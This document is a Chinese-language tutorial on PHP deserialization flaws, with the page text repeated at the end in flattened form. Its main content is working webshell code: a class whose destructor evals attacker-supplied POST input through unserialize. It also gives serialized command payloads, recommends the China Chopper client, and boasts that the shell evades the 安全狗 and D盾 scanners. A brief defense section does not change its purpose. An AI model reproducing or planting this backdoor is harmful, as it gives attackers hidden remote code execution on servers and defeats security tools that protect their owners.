PHP反序列化漏洞与Webshell
字数 992 2025-08-29 08:32:02

PHP反序列化漏洞与Webshell利用详解

1. PHP序列化与反序列化基础

1.1 序列化概念

PHP序列化是将对象、数组、字符串等数据结构转换为字节流的过程,便于传输或存储。序列化不会保存对象的方法,只保存属性。

class A{
    var $test = "demo";
}
$a = new A(); // 生成a对象
$b = serialize($a); // 序列化a对象为b
print_r($b); // 输出:O:1:"A":1:{s:4:"test";s:4:"demo";}

1.2 反序列化概念

反序列化是将序列化后的字节流还原为原始数据结构的过程:

$c = unserialize($b); // 反序列化b对象为c
print_r($c->test); // 输出:demo

2. PHP反序列化漏洞原理

2.1 魔法函数(Magic Methods)

PHP类中的特殊函数,以__开头,在特定情况下自动调用:

  • __construct(): 对象创建时调用
  • __destruct(): 对象销毁时调用
  • __toString(): 对象被当作字符串使用时调用
  • __sleep(): 序列化前调用
  • __wakeup(): 反序列化后调用

2.2 漏洞产生条件

当反序列化用户可控的数据,且类中存在魔法函数时,可能触发对象注入漏洞:

class A{
    var $test = "demo";
    function __destruct(){
        echo $this->test;
    }
}
$a = $_GET['test'];
$a_unser = unserialize($a);

构造payload:

http://127.0.0.1:800/test.php?test=O:1:"A":1:{s:4:"test";s:5:"hello";}

反序列化后会输出"hello",因为__destruct()被触发。

3. 利用反序列化构造Webshell

3.1 基本Webshell构造

通过控制输入变量,构造序列化对象,在魔法函数中执行恶意代码:

class A{
    var $test = "demo";
    function __destruct(){
        @eval($this->test);
    }
}
$test = $_POST['test'];
$len = strlen($test)+1;
$pp = "O:1:\"A\":1:{s:4:\"test\";s:".$len.":\"".$test."\";}";
$test_unser = unserialize($pp); // 反序列化触发__destruct

3.2 利用方式

  1. 直接通过POST提交PHP代码:

    system('whoami');
    
  2. 构造序列化payload:

    O:1:"A":1:{s:4:"test";s:17:"system('whoami');";}
    
  3. 通过菜刀等工具连接

3.3 免杀特性

这种Webshell与正常文件相似,具有较好的免杀效果:

  • 安全狗:测试通过
  • D盾:测试通过
  • 其他安全设备需自行测试

4. 漏洞防御措施

4.1 开发层面

  1. 避免反序列化用户可控的数据
  2. 对反序列化数据进行严格过滤
  3. 使用json_encode()/json_decode()替代序列化

4.2 安全配置

  1. 禁用危险函数:eval(), system(), exec()
  2. 配置open_basedir限制文件访问范围
  3. 及时更新PHP版本,修复已知漏洞

5. 扩展利用思路

  1. 结合其他漏洞(如文件上传、SQL注入)作为载体
  2. 利用其他魔法函数(如__wakeup()__toString()
  3. 构造链式调用(POP链)实现复杂攻击

6. 总结

PHP反序列化漏洞通过精心构造的序列化数据,在反序列化过程中触发魔法函数执行恶意代码,可以用于构造隐蔽性较强的Webshell。防御此类漏洞需要开发者提高安全意识,避免反序列化不可信数据,并做好输入过滤。

PHP反序列化漏洞与Webshell利用详解 1. PHP序列化与反序列化基础 1.1 序列化概念 PHP序列化是将对象、数组、字符串等数据结构转换为字节流的过程,便于传输或存储。序列化不会保存对象的方法,只保存属性。 1.2 反序列化概念 反序列化是将序列化后的字节流还原为原始数据结构的过程: 2. PHP反序列化漏洞原理 2.1 魔法函数(Magic Methods) PHP类中的特殊函数,以 __ 开头,在特定情况下自动调用: __construct() : 对象创建时调用 __destruct() : 对象销毁时调用 __toString() : 对象被当作字符串使用时调用 __sleep() : 序列化前调用 __wakeup() : 反序列化后调用 2.2 漏洞产生条件 当反序列化用户可控的数据,且类中存在魔法函数时,可能触发对象注入漏洞: 构造payload: 反序列化后会输出"hello",因为 __destruct() 被触发。 3. 利用反序列化构造Webshell 3.1 基本Webshell构造 通过控制输入变量,构造序列化对象,在魔法函数中执行恶意代码: 3.2 利用方式 直接通过POST提交PHP代码: 构造序列化payload: 通过菜刀等工具连接 3.3 免杀特性 这种Webshell与正常文件相似,具有较好的免杀效果: 安全狗:测试通过 D盾:测试通过 其他安全设备需自行测试 4. 漏洞防御措施 4.1 开发层面 避免反序列化用户可控的数据 对反序列化数据进行严格过滤 使用 json_encode() / json_decode() 替代序列化 4.2 安全配置 禁用危险函数: eval() , system() , exec() 等 配置 open_basedir 限制文件访问范围 及时更新PHP版本,修复已知漏洞 5. 扩展利用思路 结合其他漏洞(如文件上传、SQL注入)作为载体 利用其他魔法函数(如 __wakeup() 、 __toString() ) 构造链式调用(POP链)实现复杂攻击 6. 总结 PHP反序列化漏洞通过精心构造的序列化数据,在反序列化过程中触发魔法函数执行恶意代码,可以用于构造隐蔽性较强的Webshell。防御此类漏洞需要开发者提高安全意识,避免反序列化不可信数据,并做好输入过滤。